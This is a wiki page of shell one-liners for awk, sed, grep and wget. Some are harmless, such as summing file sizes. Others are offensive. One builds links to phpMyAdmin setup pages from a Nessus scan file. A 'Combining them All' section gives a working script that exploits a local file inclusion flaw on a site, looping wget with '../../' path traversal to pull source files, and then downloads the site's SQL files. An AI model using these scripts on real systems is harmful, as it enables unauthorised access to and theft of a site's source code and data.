Awesomeness in Grep/Awk/Sed/Wget

From Wiki

awk 1 liners

sum sizes of all files in directory $ ls -al *.mkv | awk '{sum = sum + $5} END {print sum}'

awk fancy replacing

extract http(s) hosts from an NBE file and write it to a html file for clickable-awesomeness $ cat 9efa1502c439f2966dccda7647f469ff.nbe |
    grep "www (" |
    gawk -F"|" '{a=gensub(/.*\(([[0-9]+)\/.*/,"\\1","g",$4); start="";
    if (a == "443") {start = "https://"}
    else {start="http://"}
    print "<a href=\"" start $2 ":" a "/phpMyAdmin/setup/\">" start $2 ":" a "</a>" }'
    | sort -u

Combining them All

Ran across a site that had an LFI vuln, and I needed to pull out all the files quickly, specifically there were some files that I could directly download... the SQL files being used by their engines. I used this quick Script to do that.

Now to pull down the actual source files being executed based on links found in a single or set of html documents...

flist=`cat samplehtmlwithlinks.html |
sed 's/</\n/g' | #replace all < with \n (makes the parsing easier after that
grep "a href=" | #find all a href tags... not all files, but most of the important ones
sed 's/a href="//g' | #now replace the preamble we matched on
sed 's/">.*//g' | #show get rid of the stuff after the tag ends
sed 's/http[s]*:\/\/.*\///g' | #now cleanup any prelinks... bad links are ok, just fails to dl
sed 's/[\?#].*//g' | #get rid of query params and hash tags
grep . | #make sure something is left
sort -u` #unique them
for f in $flist; do
#use wget -O to specify filename
wget "http://path.to/file/thats/vuln?param=../../number/of/needed/../../$f" -O$f;
done




This is a snip-it of some of the source I had already downloaded and was scraping...

$Q = new ApexQuery('sql/SeasonList.sql');
$Q->ValidateParam('MarketCode', GetMarket($DB, $Session));
$Q->Run($DB);




The following bash scripting will pull all of those instances out and download them directly since there was no restriction on that directory... I love the linux console...

url="something"
for f in `grep sql/ * | awk -F\( '{print $2}' | sed "s/['\)\;\r\n]//g"`;
do wget "$url$f";
done